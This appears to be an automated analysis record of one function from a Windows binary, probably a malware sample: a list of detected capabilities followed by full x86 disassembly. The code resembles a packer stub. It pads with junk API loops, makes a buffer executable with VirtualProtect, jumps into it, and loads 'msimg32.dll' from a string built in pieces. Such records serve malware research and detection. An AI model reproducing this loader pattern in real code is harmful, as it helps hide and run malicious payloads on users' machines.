Function at 0x80efb0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x8101ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x29b0
call fcn.00412560
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0xec]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x80f001
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb9a558], 0x6fb
jne 0x80f019
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9af9f6
jle 0x80f031
cmp ebx, 0xc10b30
je 0x80f031
cmp ebp, 0x90503cc
jne 0x80f03a
inc esi
cmp esi, 0x83362
jl 0x80efef
cmp dword [0xb9a558], 0xcf8
jne 0x80f1bd
push 0
push 0
call fcn.00407761
xor ebp, ebp
push ebp
push ebp
call fcn.00415b34
add esp, 0x10
lea eax, [esp + 0x48]
push eax
call fcn.00405af0
push ebp
call fcn.00407a67
fldz
push ecx
fstp qword [esp]
call fcn.00407aa0
fstp st(0)
push ebp
push ebp
call fcn.00407bc1
push ebp
call fcn.0040790a
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb4]
add esp, 0x14
mov dword [esp + 0x38], ecx
mov dword [esp + eax + 0x48], 0x4046a4
mov dword [esp + 0x29fc], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x404664
je 0x80f0d6
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407a89
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x40461c
mov byte [esp + 0x29fc], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x80f177
mov edi, dword [eax]
cmp edi, ebp
je 0x80f16e
push ebp
lea ecx, [esp + 0x38]
call fcn.00406f82
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f14c
cmp eax, 0xffffffff
jae 0x80f14c
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.00406faa
cmp esi, ebp
je 0x80f16e
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407a89
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x29fc], 0
call fcn.00406fdb
mov dword [esp + 0x29fc], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x40465c
push edx
mov dword [esp + 0xa4], 0x40460c
call fcn.00406b8e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80f1d8
mov eax, 0x5d1
add dword [0xb9a558], eax
cmp dword [0xb9a558], 3
jne 0x80f1ef
push 0
push 0
lea eax, [esp + 0x9c8]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x80f1c5
mov ecx, dword [0xb9a558]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [0x81a5bc], eax
mov eax, dword [0xb9a558]
xor esi, esi
test eax, eax
je 0x80f25f
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp eax, 0xfe
jne 0x80f236
push 0
lea edx, [esp + 0x9c4]
push edx
call ebx
call fcn.0080eaf0
mov eax, dword [0xb9a558]
cmp eax, 0x29
jne 0x80f25a
push 0
push 0
lea eax, [esp + 0x1c8]
push eax
push 0
call edi
mov eax, dword [0xb9a558]
inc esi
cmp esi, eax
jb 0x80f223
cmp eax, 0x70
jne 0x80f398
lea ecx, [esp + 0x1c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0x404280
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x25c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea eax, [esp + 0x19c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea ecx, [esp + 0x5c4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
lea edx, [esp + 0x40]
push edx
push 0
lea eax, [esp + 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
lea ecx, [esp + 0x9c8]
push ecx
push 0
call edi
push 0x404288
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x4042a4
push 0x4042d4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea edx, [esp + 0x1dc4]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea eax, [esp + 0x11c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0xb9a558]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
cmp eax, 3
jne 0x80f3e6
push 0x404314
push 0
lea ecx, [esp + 0x11c8]
push ecx
push 0x404330
push 0x404350
push 0x404390
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0xb9a558]
cmp eax, 0xdf
jne 0x80f48c
push 0x40435c
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x40]
push ecx
push edx
push edx
lea eax, [esp + 0x11cc]
push eax
push edx
mov dword [esp + 0x4c], edx
call ebp
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
call esi
push 0x4043d4
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x4043f8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0x4043f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0x404454
push 0x4044b8
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov eax, dword [0xb9a558]
dec dword [esp + 0x34]
jne 0x80f3b8
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f4a1
mov ecx, dword [0xb9a558]
mov edx, dword [0x81a5bc]
lea eax, [esp + 0x3c]
push eax
push 0x40
push ecx
push edx
mov byte [0x815828], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080eda0
mov eax, 0
add dword [0x81a5bc], eax
mov eax, 0x73
mov ecx, 0x6d
mov word [0xb9956a], ax
mov word [0xb9956e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0xb99572], dx
mov word [0xb9957e], cx
mov word [0xb99570], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0xb99568
mov dword [0xb99578], 0x6c0064
mov word [0xb9956c], cx
mov word [0xb99568], dx
mov word [0xb9957c], ax
mov dword [0xb99574], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb9a558], 0xc30
jne 0x80f61f
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea eax, [esp + 0x1c0]
push eax
push 0x404484
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea ecx, [esp + 0x40]
push ecx
push esi
lea edx, [esp + 0x9cc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40449c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x11c4]
push eax
push 0x404530
call esi
push 0
lea ecx, [esp + 0x1dc4]
push ecx
push 0x404550
call esi
push 0
lea edx, [esp + 0x5c4]
push edx
push 0x4045e4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x3c]
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov ecx, dword [esp + 0x29f4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret